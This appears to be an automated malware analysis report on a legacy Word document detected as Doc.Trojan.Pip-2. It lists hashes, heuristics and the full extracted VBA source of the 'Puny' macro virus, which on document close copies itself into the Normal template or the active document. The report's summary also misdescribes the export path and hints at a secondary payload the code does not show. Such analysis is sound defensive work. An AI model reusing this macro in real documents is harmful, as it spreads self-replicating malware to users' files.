Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4102d852e807caf…

MALICIOUS

Office (OLE)

26.0 KB Created: 2000-11-10 20:50:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 4483d28b06edc1a0152f3856cab0cfa9 SHA-1: a6adea4c927fc4674914c8a67f6760eee436fb7c SHA-256: c4102d852e807caf68f68e138ed2f75f904425142c055058dd48dcb020772efd
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a legacy WordBasic AutoClose macro, identified by the 'OLE_LEGACY_WORDBASIC_AUTOEXEC' and 'OLE_VBA_AUTOCLOSE' heuristics. The 'macros.bas' script, named 'Puny', attempts to export itself to 'C:\Puny.bas' and then import it, suggesting it's designed to execute a secondary payload. This macro-based execution is characteristic of malware delivered via spearphishing attachments.

Heuristics 4

  • ClamAV: Doc.Trojan.Pip-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pip-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 790 bytes
SHA-256: b25f7b72332497d06789a80e45c8ef96405f056e0eef77e551ef2e04cb1b1779
Detection
ClamAV: Doc.Trojan.Pip-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Puny"
Sub AutoClose()
    'Puny v2.0 WalruS
    On Error Resume Next
    Options.SaveNormalPrompt = False
    Set N = NormalTemplate.VBProject.VBComponents: Set D = ActiveDocument.VBProject.VBComponents: P = "C:\P"
If N.Item("Puny").Name <> "Puny" Then
    D("Puny").Export P: Set i = NormalTemplate.VBProject
ElseIf D.Item("Puny").Name <> "Puny" Then
    N("Puny").Export P: Set i = ActiveDocument.VBProject
End If
i.VBComponents.Import P
ActiveDocument.Save
End Sub